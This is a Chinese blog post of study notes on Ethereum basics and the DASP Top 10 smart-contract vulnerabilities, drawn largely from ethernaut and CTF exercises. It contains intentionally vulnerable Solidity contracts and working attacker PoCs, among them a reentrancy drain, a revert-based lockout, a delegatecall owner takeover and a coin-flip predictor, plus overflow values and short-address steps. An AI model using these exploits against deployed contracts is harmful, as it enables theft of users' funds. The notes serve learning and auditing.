——–本文作为学习时的笔记,重点讲述:合约攻击 Dasp Top10 的入门——–
前置一点区块链概念
概念入门推荐:
https://ethfans.org/ajian1984/articles/35649
https://ethfans.org/posts/wtf-is-the-blockchain
区块
写入信息,hash(基于上一条信息的hash)。
类比转账系统的话,记录x转账x,交易数额,签名等信息
数据结构1
2
3
4
5public class Block {
public String data;
public String hash;
...
}
链
本区块的信息hash加密于上一区块hash值+本区块信息
即 h2=h1+i2
关于初始加密值。由于h1无上一区块
h1=h0+i1
h0 为默认值
POW 工作量证明
比特币网络中任何一个节点,如果想生成一个新的区块并写入区块链,必须解出比特币网络的PoW的题目,谁先算出来谁就获胜。
解出比特币网络PoW题目关键3个要素是:工作证明函数、区块和难度值。
以太坊一些概念
入门&&具体细节 https://ethfans.org/wikis/Home
以太坊账户类型
外部拥有账户(EOA)
只存储ETH的账户Externally Owned Accounts (EOAs),可用私钥生成交易签名向这些账户支付ETH
特性:
- 有 ether 余额
- 可以发送交易(以太币转账或者激活合约代码)
- 通过私钥控制
- 没有相关联的代码
例子:https://etherscan.io/address/0x2d7c76202834a11a99576acf2ca95a7e66928ba0
合约账号
存储合约+ETH的账户
特性:
- 有 ether 余额
- 含有代码
- 代码执行是通过交易或者其他合约发送的call来激活
- 拥有自己的独立存储状态,且可以调用其他合约
例子:https://etherscan.io/address/0xcbe1060ee68bc0fed3c00f13d6f110b7eb6434f6#code
合约账号由外部账号+合约代码创建。
合约语言
- Solidity – 和Javascript语言类似。这是目前最受欢迎的和功能丰富的智能合约脚本语言。
- Serpent – 和Python语言类似,在以太坊历史的早期受欢迎。
- LLL (Lisp Like Language) – 和Lisp类似,只有在早期使用。它大概是最难用的。
以太坊软件:geth,eth,pyethapp
geth (Go语言客户端) https://github.com/ethereum/go-ethereum
eth ( C++客户端) https://github.com/ethereum/cpp-ethereum
pyethapp (Python客户端) https://github.com/ethereum/pyethapp
最受欢迎的图形化软件是Mist(https://github.com/ethereum/mistMist
Gas和Gas价格
Gas是激活智能合约后,支付给运行合约人的报酬。
付款款项(单位以太币)= Gas数量(单位Gas) x Gas价格(单位以太币/Gas)
智能合约越复杂(计算步骤的数量和类型,占用的内存等),用来完成运行就需要越多Gas。(即Gas数量由合约复杂度规定,且固定)
Gas价格由想运行合约的人规定(每个矿工会根据Gas的价格的高低来决定他们是否想作为区块的一部分去运行此合约。)
Gas的目的 让智能合约花费Gas/以太币/钱可以防止人们随意激活合约, 解决了垃圾交易以及相关问题,如果运行智能合约免费,此类问题会发生
交易
- 消息的接受者
- 私钥签名
- ETH (按wei为单位)
- 可选数据域(保存使用者请求合约的消息)
- Gas limit (运行一次合约的最大gas)(<=可被执行,>会导致操作复原)
- Gas price (Gas价格,一单位的gas表示执行一个基本指令
如:计算步骤
)
合约具有发送”消息”到其他合约的能力。消息是一个永不串行且只在以太坊执行环境中存在的虚拟对象。他们可以被理解为函数调用(function calls)。
GasUsed:该交易消耗的总gas数量
GasPrice:该交易中单位gas的价格(用以太币计算)
交易费=GasUsed * GasPrice
GasUsed
每个EVM(以太坊虚拟机,即合约)中的命令都被设置了相应的gas消耗值。gasUsed是所有被执行的命令的gas消耗值总和。
GasPrice
一个用户可以构建和签名一笔交易,但每个用户都可以各自设置自己希望使用的gasPrice,甚至可以是0。然而,以太坊客户端的Frontier版本有一个默认的gasPrice,即0.05e12 wei。矿工为了最大化他们的收益,如果大量的交易都是使用默认gasPrice即0.05e12 wei,那么基本上就很难又矿工去接受一个低gasPrice交易,更别说0 gasPrice交易了。
区块gas limit和gas limit
gas limit:
- 合约里面执行设置的gas上限
区块gas limit:
- 区块上使用的gas上限
谁来决定
- 区块的gas limit是由在网络上的矿工决定的。与可调整的区块gas limit协议不同的是一个默认的挖矿策略,即大多数客户端默认最小区块gas limit为4,712,388。
区块gas limit是怎样改变的
- 以太坊上的矿工需要用一个挖矿软件,例如ethminer。它会连接到一个geth或者Parity以太坊客户端。Geth和Pairty都有让矿工可以更改配置的选项。这里是geth挖矿命令行选项以及Parity的选项。
以太坊协议中存在着让矿工可以通过投票来决定gas limit的机制,所以区块容量不需要经过硬分叉就可以调整。最初,这个机制和另一个默认策略是绑定在一起的,即矿工默认投票使区块gas limit至少有470万,并且趋向于最近1024个区块gas使用量的1.5倍。这使得区块容量会根据需求来自动上升,同时也有一个可用来防御垃圾交易的限制。
钱包
钱包生成&&交易
首先自己随机生成 64位16进制值/256位2进制值 称为k(私钥)
椭圆曲线是通过 y² = x³ + ax + b 公式得出的,其中 a 和 b 可以自定义
k通过ECDSA(椭圆曲线算法)(secp256k1)得到64byte整数(由2个32byte的整数串联组成,称为X,Y)(这串64byte整数称之为K公钥)
K通过 Keccak-256加密算法取结果的后20byte 作为地址
A(账户地址)——–>交易,需要A使用k生成数字签名———->B(账户地址)
keystore && password
在以太坊官方钱包中,k(私钥)和K(公钥)都会以加密形式(创建钱包时设置的密码称为password)保存在JSON中/Users/yourname/Library/Ethereum/keystore
,此JSON
为keystore
奖励机制
1.区块奖励,每挖出一个区块奖励3eth。
2.叔块奖励,每引用一个叔块奖励3(1/32)的奖励,最多引用两个。同时叔块也会由于被引用而得到3(7/8)的奖励。
3.gas奖励,奖励在挖出的区块中的交易手续费。
智能合约
语法教程推荐
语法教程
remix使用教程
https://blog.csdn.net/wangdenghui2005/article/details/82865605
函数/语法,言简意赅的用法
版本指令/状态变量/uint/运算/结构体/数组/函数
[一] https://www.jianshu.com/p/62fa1aaca178
Keccak256/类型转换/事件
[二] https://www.jianshu.com/p/e3e520734965
Addresses/mapping/Msg/Require/继承/引入
[三]https://www.jianshu.com/p/795e97f793a4
Storage/Memory/internal/external/与其他合约的交互
[四]https://www.jianshu.com/p/b53270cadd75
[五]https://www.jianshu.com/p/b5af029c6b67
[六]https://www.jianshu.com/p/9a4e2c5be62b
[七]https://www.jianshu.com/p/d7f620d23c5b
[八]https://www.jianshu.com/p/fa4e79f2a9e7
[九]https://www.jianshu.com/p/c23d4ec6680c
[十]https://www.jianshu.com/p/c239eccbce45
[十一]https://www.jianshu.com/p/26d66aa1c122
[十二]https://www.jianshu.com/p/113130e1a52e
学习过程中的备忘
mapping (address => uint) pendingWithdrawals;
mapping可以看做哈希表,记录每个address情况msg
为全局变量msg.sender
获取调用者的addressmsg.value
获取调用者发送的值require
和assert
为检查函数payable
函数涉及调用钱包交易时,需要添加关键词
.call(…) returns (bool)
发出低级函数 CALL,失败时返回 false,发送所有可用 gas,可调节。1
2
3address nameReg = 0x72ba7d8e73fe8eb666ea66babc8116a41bfb10e2;
nameReg.call("register", "MyName");
nameReg.call(bytes4(keccak256("fun(uint256)")), a);
this (current contract’s type):
当前合约,可以明确转换为 地址类型。
modifier
1
2
3
4modifier onlyOwner {
require(msg.sender == owner);
_;
}
修饰器所修饰的函数体会被插入到特殊符号 _; 的位置。
记录个injected web3连接的坑
firefox装完METAMASK后发现remix连不上…
进入user的setting
选择-Security & Privacy
关掉-隐私模式
重新刷新网页后injected web3就能连上METAMASK
例子入门
1 | pragma solidity ^0.4.22; //版本指令,编译版本 |
合约攻击 Dasp Top10
语法学习: https://solidity-cn.readthedocs.io/zh/develop/introduction-to-smart-contracts.html
重⼊漏洞(re-entrancy)
也被称为 或与空⽩竞争,递归调⽤漏洞,未知调⽤
这种漏洞在很多时候被很多不同的⼈忽略:审阅者倾向于⼀次⼀个地审查函数,并且假定保护⼦例程的调⽤将安全并按预期运⾏。
重⼊攻击,可能是最着名的以太坊漏洞,第⼀次被发现时,每个⼈都感到惊讶。它在数百万美元的抢劫案中⾸次亮相,导致了以太坊的分叉。当初始执⾏完成之前,外部合同调⽤被允许对调⽤合同进⾏新的调⽤时,就会发⽣重新进⼊。对于函数来说,这意味着合同状态可能会在执⾏过程中因为调⽤不可信合同或使⽤具有外部地址的低级函数⽽发⽣变化。
首先来了解下与重入攻击有关的几个函数
fallback()
执行条件:
– 当合约调用中未匹配到函数,或没有带任何数据时被执行
– 当外部账户或其他合约向该合约地址发送 ether 时;1
2
3
4
5
6pragma solidity ^0.4.1;
contract fallback{
function {
//fallback为匿名函数,在一个合约实例中有且只有一个,没有传参与返回值
}
}.transfer()
当发送失败时会 throw; 回滚状态
只会传递 2300 Gas 供调用,防止重入(reentrancy).send()
当发送失败时会返回 false 布尔值
只会传递 2300 Gas 供调用,防止重入(reentrancy).gas().call.value()()
当发送失败时会返回 false 布尔值
传递所有可用 Gas 进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入(reentrancy)revert 和 throw
revert和throw 都是标记错误并恢复当前调用 (相当于A和B交易,交易失败后每个人手上的钱ether都没有变,但是这次交易需要收取手续费Gas)
当合约将 Ether 发送到以合约账号,会触发被发送合约的fallback函数,当攻击值在fallback函数中写入恶意调用、恶意回退时,原本合约的逻辑可能被打乱。导致任意提款、合约卡死等问题
攻击的例子1: fallback函数导致的偷钱
以下为rickgray师傅的题1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22pragma solidity ^0.4.10;
contract IDMoney {
address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况
event withdrawLog(address, uint256);
function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志,方便观察 reentrancy
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}
存在问题:
当withdraw函数向外部账户发送ether时,会触发fallback (参见前文fallback触发条件2)
我们可以构造fallback函数在其里面调用withdraw
1
2
3
4
5function () payable {
if (msg.sender == victim) {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);//执行IDMoney中的withdraw函数
}
}程序执行逻辑变为withdraw–>fallback–>withdraw–>fallback的无限递归中
由于call.value(提取ether)在资产修改之前,每次递归都能提取到受害者的ether
1
2to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;我们知道合约执行每条代码都需要消耗gas
比如send和transfer使用的gas限制在2300,执行完小段代码后:
- 返回参数
- 消耗完gas
此时攻击者的操作步骤有限,无法完成递归操作
但是.gas().call.value()()
不同(参照前文说明)
此方法能调用全部gas(即:程序一直运行到消耗全部gas为止),我们可以传入大量的gas保证程序能正常递归。最后call返回true或false,只有最后一步的错误执行会回滚。
攻击成立条件:
- 存在.gas().call.value()(),且未做gas限制
- 提币操作在资产修改之前
Poc编写:
- 输入目标合约地址
- 通过本合约地址向目标合约充值
- 提取账户金额,poc调用合约的withdraw,合约的withdraw再触发poc的fallback,构成withdraw–>fallback–>withdraw–>fallback的循环提取
- 当币池被提取完后,设置selfdestruct提现回外部账户
在上述思路下我们可以构造Poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25contract attack {
address attacker;
address victim;
uint256 amount;
function attack() payable {attacker = msg.sender;}
function start(address target) payable {//被抢合约,存入value单位为ether。例:0x692a70d2e424a56d2c6c27aa97d1a86395877b3a
victim = target;
amount=msg.value;
victim.call.value(amount)(bytes4(keccak256("deposit()")));
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount/2); //amount/2是为满足require(balances[msg.sender] > amount);
}
function () payable {
if (msg.sender == victim) {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount/2);
}
}
function stop() {
if (msg.sender == attacker){
selfdestruct(attacker); // 销毁合约
}
}
}
remix环境下poc使用方式:
攻击的例子2:利用fallback中触发revert导致合约卡死
此题来自solidity-cn.readthedocs.io的例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23pragma solidity ^0.4.11;
contract SendContract {
address public richest;
uint public mostSent;
function SendContract() public payable {
richest = msg.sender;
mostSent = msg.value;
}
function becomeRichest() public payable returns (bool) {
if (msg.value > mostSent) {
// 这一行会导致问题(详见下文)
richest.transfer(msg.value);
richest = msg.sender;
mostSent = msg.value;
return true;
} else {
return false;
}
}
}
这里我给出攻击poc,和例1利用类似。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21contract attack {
address attacker;
address victim;
function attack() {attacker=msg.sender;}
function start(address target) payable {
victim = target;
victim.call.value(msg.value)(bytes4(keccak256("becomeRichest()")));
}
function () payable {
if (msg.sender == victim){
revert();
}
}
function destroy() {
if (msg.sender == attacker){
selfdestruct(attacker);
}
}
}
其中的逻辑:
- 输入ether大于合约中最大值
msg.value > mostSent
使attack合约成为richest, 只要别人想成为richest就会触发
richest.transfer(msg.value);
调用attack中的1
2
3
4
5function () payable {
if (msg.sender == victim){
revert();
}
}执行回滚,防止别人成为richest
访问控制(Access Control)
CALL 与 DELEGATECALL 操作非常有用,它们让 Ethereum 合约的开发者将他们的代码模块化(Modularise)。用 CALL 操作码来处理对合约的外部标准信息调用(Standard Message Call)时,代码在外部合约/功能的环境中运行。 DELEGATECALL 操作码也是标准消息调用,但在目标地址中的代码会在调用合约的环境下运行,也就是说,保持 msg.sender 和 msg.value 不变。该功能支持实现库,开发人员可以为未来的合约创建可重用的代码。
但是使用 DELEGATECALL 可能会导致意外的代码执行。因为他在被调用的时候会保存当前合约中的属性。
首先来了解下几个相关函数
- .call(…) returns (bool)
发出低级函数 CALL,失败时返回 false,发送所有可用 gas,可调节。
call包含下列七个参数
call(gas, address, value, in, insize, out, outsize):
– 第一个参数是指定的gas限制,如果不指定该参数,默认不限制。
– 第二个参数是接收转账的地址
– 第三个参数是转账的金额
– 第四个参数是输入给call指令的数据在memory中的起始地址
– 第五个参数是输入的数据的长度
– 第六个参数是call指令输出的数据在memory中的起始地址
– 第七个参数是call指令输出的数据的长度
- .delegatecall(…) returns (bool)
发出低级函数 DELEGATECALL,失败时返回 false,发送所有可用 gas,可调节。
delegatecall与call两者的用法和性质相似,唯一区别就在于:前者当前合约里运行,后者在被调用合约里运行
两者区别,图表理解:
合约 A 以 call 方式调用外部合约 B 的 func() 函数,在外部合约 B 上下文执行完 func() 后继续返回 A 合约上下文继续执行;而当 A 以 delegatecall 方式调用时,相当于将外部合约 B 的 func() 代码复制过来(其函数中涉及的变量或函数都需要存在)在 A 上下文空间中执行。
攻击例子1:当calldata可控
来自安全客中的一个例子1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29pragma solidity ^0.4.11;
contract A {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract Deletest {
address public owner;
address Address;
function set(address target) {
Address = target;//填入A地址,进行绑定
}
function Deletest() {
owner = msg.sender;
}
function() public {
Address.delegatecall(msg.data);
}
}
给出poc1
2
3contract getcall{
bytes4 public b = bytes4(keccak256("pwn()")) ;
}
获得b后填入Deletest的fallback中执行,点击owner发现合约所属人已变更。
尝试将delegatecall替换为call,发现并不存在此现象
攻击的例子2: ethernaut的Fallout
1 | pragma solidity ^0.4.23; |
poc,先执行一遍合约里的setfirsttime,将攻击合约绑定到timeZone1Library。然后再将setfirsttime修改为自己账户地址,执行后发现owner更改
1 | contract attack{ |
注意这里变量更改是顺序决定,而不是由变量名决定。
算术问题(Arithmetic Issues)
在编程语言里算数问题导致的漏洞最多的就是整数溢出,以太坊虚拟机(EVM)的整数又为一个固定大小的数据类型。当执行操作需要固定大小的变量来存储超出变量数据类型范围的数字(或数据)时,会发生数据上溢/下溢。导致产生意料之外的逻辑流程和数值。
数据溢出的原因
以8bit整型为例:
- 无符号整型: [0,255]
– 0000 0000~1111 1111 => 0~255 - 有符号整型: [-128,127]
– 负数: 1000 0000~1111 1111 => -128~1
– 正数: 0000 0000~0111 1111 => 0~127
无符号整数1111 1111 + 1后数值超过8bit的容量,然后被清零(进位) ,当前内存位置被替换为0000 0000,数值变为0
如下图:
有符号整数0111 1111 + 1 后数值变为1000 0000 ,在有符号整数中表示为128
以上为上溢,下溢同理
无符号整数0000 0000 - 1 后 变为 1111 1111 。 数值由0
=> 255
有符号整数1000 0000 - 1 后数值变为0111 111 ,数值由-128
=> 127
例子1:时间保险库
1 | pragma solidity ^0.4.10; |
合约功能为:将钱存入钱包,一星期之后才能取出来,然后可以自行延长取钱时间。
此时lockTime[msg.sender] += _secondsToIncrease;
未对输入参数进行验证。
导致我们将钱存入后取钱时间lockTime为1553649393
由于合约里默认uint为无符号的uint256,表示范围:[0,2^256-1]
需要2^256-1553649393
得到115792089237316195423570985008687907853269984665640564039457584007911575990543
填入数据后溢出将时间清0
例子2:Token
1 | pragma solidity ^0.4.18; |
合约内创建2个余额为0的用户,A给B充值金额
金额满足0 - 115792089237316195423570985008687907853269984665640564039457584007913129639935 = 1
balances[msg.sender] - _value >= 0
满足1>0
导致B账号内被充入115792089237316195423570985008687907853269984665640564039457584007913129639935
未检查的低级函数调⽤返回值(Unchecked Return Values For Low Level Call)
这里主要讲可能存在问题的函数:
合约调用相关的函数:callcode()
、delegatecall()
、call()
涉及ether函数:call.value()()
、send()
、transfer()
上述函数只有callcode未在前文讲述
- callcode
本质为delegatecall上个版本,但是在msg.sender
和msg.value
的指向上却有差异。
运行下列合约,对比下细节1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25pragma solidity ^0.4.10;
contract Bob {
uint public n;
address public sender;
function callcodeWendy(address _wendy,uint _n){
//sender will be Bob
_wendy.callcode(bytes4(keccak256("setN(uint256)")),_n);
}
function delegatecallWendy(address _wendy,uint _n){
//sender will be Bob
_wendy.delegatecall(bytes4(keccak256("setN(uint256)")),_n);
}
}
contract Wendy{
uint public n;
address public sender;
function setN(uint _n){
n= _n;
sender = msg.sender;
}
}
callcode的msg.sender
为合约本身,
delegatecall的msg.sender
为外部账户
再说到
.callcode(…) returns (bool):
发出低级函数 CALLCODE,失败时返回 false,发送所有可用 gas,可调节。.delegatecall(…) returns (bool):
发出低级函数 DELEGATECALL,失败时返回 false,发送所有可用 gas,可调节。.send(uint256 amount) returns (bool):
向 地址类型 发送数量为 amount 的 Wei,失败时返回 false,发送 2300 gas 的矿工费用,不可调节。.call(…) returns (bool):
发出低级函数 CALL,失败时返回 false,发送所有可用 gas,可调节。
另外,需要注意的是,如果call、callcode、delegatecall、send调用的合约地址不存在,也会返回True
这几个函数都是有返回值的,倘若未对返回值进行判断,可能会产生意料之外的事情。
例子1:send返回值未做判断
1 | pragma solidity ^0.4.10; |
主要问题在于没有对send返回值进行判断,
当我们账户是合约的时候msg.sender.send(合约地址);
触发合约的fallback函数。
fallback里面写入错误代码assert(1 == 0);
。
导致etherLeft -= _amount;
能够执行成功,但msg.sender.send(_amount);
执行错误转账失败。
这就导致:合约里ether被扣,但账户却没得到ether转账
给出测试poc:
1 | contract attackself{ |
例子2:Etherpot
1 | function cash(uint roundIndex, uint subpotIndex){ |
没有对send返回值进行验证,此时用:通过耗尽 Gas、通过故意抛出回退函数的合约、堆栈深度攻击等方法。
例如使用上个例子中fallback调用assert(1==0)
抛出错误
使赢家没有实际拿到ether,合约却显示已支付ether。
拒绝服务(Denial of Service)
攻击者通过在他们的智能合约中反复的调用某些命令来让客户端难以处理这些计算,当gas使用达到上限时,或者调用其他合约触发fallback时,都有可能导致意外错误,无法执行代码
例子1
例子2
来自DASP中例子:调⽤者可以决定下⼀个函数调⽤将奖励谁1
2
3
4
5
6function selectNextWinners(uint256 _largestWinner) {
for(uint256 i = 0; i < largestWinner, i++) {
// heavy code
}
largestWinner = _largestWinner;
}
由于合约每步代码都需要消耗gas,每个区块/合约又有最大gas限制。当合约执行gas超出gas limit的时候所有操作会被重置,抛出错误
因为传入参数largestWinner
可控,当我们传入超大数66666,使largestWinner = _largestWinner;
无法被执行
例子3
https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank
可预测的随机处理(Bad Randomness)
伪随机问题一直都存在于现代计算机系统中,简单的可以分为真随机数和伪随机数。
随机数有3个特性,具体如下:
- 随机性:不存在统计学偏差,是完全杂乱的数列,即分布均匀性和独立性
- 不可预测性:不能从过去的数列推测出下一个出现的数
- 不可重现性:除非将数列本身保存下来,否则不能重现相同的数列
为随机数中又分为强伪随机数和弱伪随机数
三者区别:
- 弱伪随机数:只需要满足随机性
- 强位随机数:需要满足随机性和不可预测性
- 真随机数 :需要同时满足3个特性
但是在开放的区块链中,像在以太坊智能合约中编写的基于随机数的处理逻辑感觉就有点不切实际了,由于人人都能访问链上数据,合约中的存储数据都能在链上查询分析得到。如果合约代码没有严格考虑到链上数据公开的问题去使用随机数,可能会被攻击者恶意利用来进行 “作弊”
block.blockhash(uint blockNumber) returns (bytes32):
指定区块的区块哈希——仅可用于最新的 256 个区块且不包括当前区块;而 blocks 从 0.4.22 版本开始已经不推荐使用,由blockhash(uint blockNumber)
代替block.timestamp (uint):
自 unix epoch 起始当前区块以秒计的时间戳now (uint) :
目前区块时间戳(block.timestamp)block.difficulty (uint):
当前区块难度block.gaslimit (uint):
当前区块 gas 限额block.coinbase (address):
挖出当前区块的矿工地址
根据以上几种函数生成的随机数都是将区块变量作为随机的熵,然而区块变量是不安全的,在一定情况下是可操控的。
下列通过几个区块变量生成随机值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18pragma solidity ^0.4.18;
contract random{
function difficulty() public returns(uint256) {
uint256 random = uint256(keccak256(block.difficulty,now));
return random%10;
}
function blockhash() public returns(bytes32) {
bytes32 blockhash = block.blockhash(block.number);
return blockhash;
}
function timestamp() public returns(uint256) {
uint256 timestamp = uint256(keccak256(block.timestamp)) % 2;
return timestamp;
}
}
结果:1
2
3
4
5
6
7
8
9
10{
"0": "bytes32: 0x0000000000000000000000000000000000000000000000000000000000000000"
}
{
"0": "uint256: 5"
}
{
"0": "uint256: 0"
}
许多合约使用了block.blockhash(block.number)
这个函数作为生成随机数的种子.
但block.blockhash()
只能使用近 256 个块的块号来获取 Hash 值,并且还强调了不包含当前块,如果使用当前块进行计算 block.blockhash(block.numbber)
其结果始终为 0
例子1:Coin Flip
来自ethernaut的题目:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
FACTOR为2^255,结果只有true或false
可以将题目类比为投硬币猜正反。
通关条件
- 猜对10次硬币的情况
这里主要问题在于uint256(block.blockhash(block.number-1));
生成的随机数并不可靠。
1 | contract attack { |
进阶
抢先交易(Front Running)
抢先交易这个词最早来源股票市场。早在纸质发布消息的时代,经纪人在执行客户买卖委托前,先替自己的账户买卖的非法操作。(通常是因为经纪人认为客户的买卖将改变市场价格,因此抢先买卖以图利。)
与区块链一样,以太坊在产生新的区块时候会将多个交易打包成区块。一旦矿工解出Pos的题目(挖矿得到区块),同时也能够选择将交易池中的哪些交易包含在该区块中。(一般来说是根据交易的 gasPrice
来排序)
但这里有个潜在风险。攻击者可以监测交易池,看看其中是否存在问题的解决方案(如下合约所示)、修改或撤销攻击者的权限的交易或攻击者不想要的合约状态变更。然后攻击者可以从该中获取数据,并创建一个 gasPrice
更高的交易,(让自己的交易)抢在原始交易之前被打包到一个区块中。
1 | pragma solidity ^0.4.18; |
上述合约如果能找到0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a
hash值的原始数值就能得到1000个ether。
此时假设小明已经找到这串Ethereum!
并正在调用solve
函数去获得奖金。但交易并不是瞬间完成的,进区块需要一段时间,假设小明提交的这条交易价值10000gas
。攻击者通过监控交易池,发现并验证小明的交易是正确的。那么攻击者可以提交一个与小明相同的交易,并设置更高的gas为50000gas
。按照以太坊的矿工激励机制,矿工在挖出区块的时候优先打包更高gas价值的交易。
最终导致小明虽然是先提交的答案,却被攻击者抢先提交拿到了奖金。
时间篡改(Time manipulation)
当合约里代码通过时间戳来更改状态、通过时间戳生成随机数。block.timestamp
和now
可被控制、可被预测的时间函数都可能引发安全漏洞。
sigmaprime中的例子:彩票游戏1
2
3
4
5
6
7
8
9
10
11
12
13
14
15contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
规则:
- 每个区块只有一人可以花10ether买一次彩票
- 每15个区块出一次奖
- 中奖的人获得奖池所有ether
由于矿工可以根据自己意愿调整区块时间戳,也就导致timestamp
可以被操控。控制出区块的时间满足于整除15,即可赢得奖池。
但是在实践中,区块时间戳是单调递增的,所以矿工不能选择任意块时间戳(它们必须大于其祖先块)。区块时间也不能是未来值,因为这些块可能会被网络拒绝(节点不会验证其时间戳指向未来的块)。
短地址攻击(Short Address Attack)
这种攻击并不是专门针对 Solidity 合约执行的,而是针对可能与之交互的第三方应用程序执行的。
rickgray中的例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pragma solidity ^0.4.10;
contract ICoin {
address owner;
event log(bytes);//监听事件
mapping (address => uint256) public balances;
modifier OwnerOnly() { require(msg.sender == owner); _; }
function ICoin() { owner = msg.sender; }
function approve(address _to, uint256 _amount) OwnerOnly { balances[_to] += _amount; }
function transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;
}
function () { log(msg.data); }//监听事件
function callfuc(){
this.call(bytes4(keccak256("transfer(address to, uint256 amount)")),0x14723a09acff6d2a60dcdf7aa4aff308fddc160c,1);
}//监听事件
}
我们先运行callfuc()
函数1
2
3
4
5
6
7
8
9
10
11 [
{
"from": "0xe46b2d8b3a5ccf2df628468dee2f3ec1e85e7a28",
"topic": "0x0be77f5642494da7d212b92a3472c4f471abb24e17467f41788e7de7915d6238",
"event": "log",
"args": {
"0": "0x0b7d0d5f00000000000000000000000014723a09acff6d2a60dcdf7aa4aff308fddc160c0000000000000000000000000000000000000000000000000000000000000001",
"length": 1
}
}
]
其中0x0b7d0d5f00000000000000000000000014723a09acff6d2a60dcdf7aa4aff308fddc160c0000000000000000000000000000000000000000000000000000000000000001
为这次交易的数据
在此交易中数据分为3个部分: 4 + 32 + 320x0b7d0d5f
=> 对应transfer(address to, uint256 amount) 函数的签名00000000000000000000000014723a09acff6d2a60dcdf7aa4aff308fddc160c
=> 对应transfer函数调用中第一个参数_to,(高位 0 补齐 32 字节)0000000000000000000000000000000000000000000000000000000000000001
=> 对应transfer函数调用中第二个参数_amount,(高位 0 补齐 32 字节)
当用户使用transfer提取货币时,平台允许输入短地址且没做验证时(对短地址长度合法性验证),比如攻击者拥有此账号:0x14723a09acff6d2a60dcdf7aa4aff308fddc1600
在平台填入0x14723a09acff6d2a60dcdf7aa4aff308fddc16
1
2
30x0b7d0d5f
00000000000000000000000014723a09acff6d2a60dcdf7aa4aff308fddc16
0000000000000000000000000000000000000000000000000000000000000001
EVM会将下一个参数的高位拿来填充001
2
30x0b7d0d5f
00000000000000000000000014723a09acff6d2a60dcdf7aa4aff308fddc1600
00000000000000000000000000000000000000000000000000000000000001
此时_amount就会少1字节,导致_amount原本0x1
(1)变成了0x100
(256)
同理可以结尾为000、0000的地址,那么放大倍数就不知256了
根据上述,我们进行复现,首先生成00结尾的账户地址pip install ecdsa
pip install pysha3
网上地址生成小改:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import binascii
import sha3
from ecdsa import SigningKey, SECP256k1
while True:
priv = SigningKey.generate(curve=SECP256k1) #生成私钥
pub = priv.get_verifying_key() #生成公钥
keccak = sha3.keccak_256()
keccak.update( pub.to_string()) #keccak_256哈希运算
address = "0x" + keccak.hexdigest()[24:]
priv_key = binascii.hexlify( priv.to_string())
pub_key = binascii.hexlify( pub.to_string())
if address[-2:]=="00":
print("[+] Private key: " + priv_key.decode() )
print("[+] Public key: " + pub_key.decode() )
print("[+] Address: " + address)
break
得到一串00结尾的地址1
2
3[+] Private key: 053a06977acf66274f128d09fa45d98747ef6014ab6823f714e273b9bc790c36
[+] Public key: 59b1af1c184211d82777d9278926a38bc0dee35e122af0996c0c492edd85a1dc80976a47da1c4196ca45d78396d3c71e8284637a0cfc832b0451348928ecd344
[+] Address: 0xbf87c9e8f7713893543e09de94d9f03abefde400
复现失败…报了无效的地址错误,看来remix自带检测transact to ICoin.transfer errored: Error encoding arguments: Error: invalid address (arg="", type="string", value="0xbf87c9e8f7713893543e09de94d9f03abefde4")
后续看到大佬复现,云复现表支持
具体复现可参照这:遗忘的亚特兰蒂斯:以太坊短地址攻击详解
未知的 未知物 (Unknown Unknowns)
还没有被挖掘出的漏洞_(:з」∠)
参考:
https://www.dasp.co/
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review
https://www.anquanke.com/post/id/152590
https://ethernaut.zeppelin.solutions/
https://xz.aliyun.com/t/3803
https://xz.aliyun.com/t/3681
https://ethfans.org/posts/comprehensive-list-of-common-attacks-and-defense-part-5
https://github.com/slowmist/Knowledge-Base/blob/master/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns-chinese.md
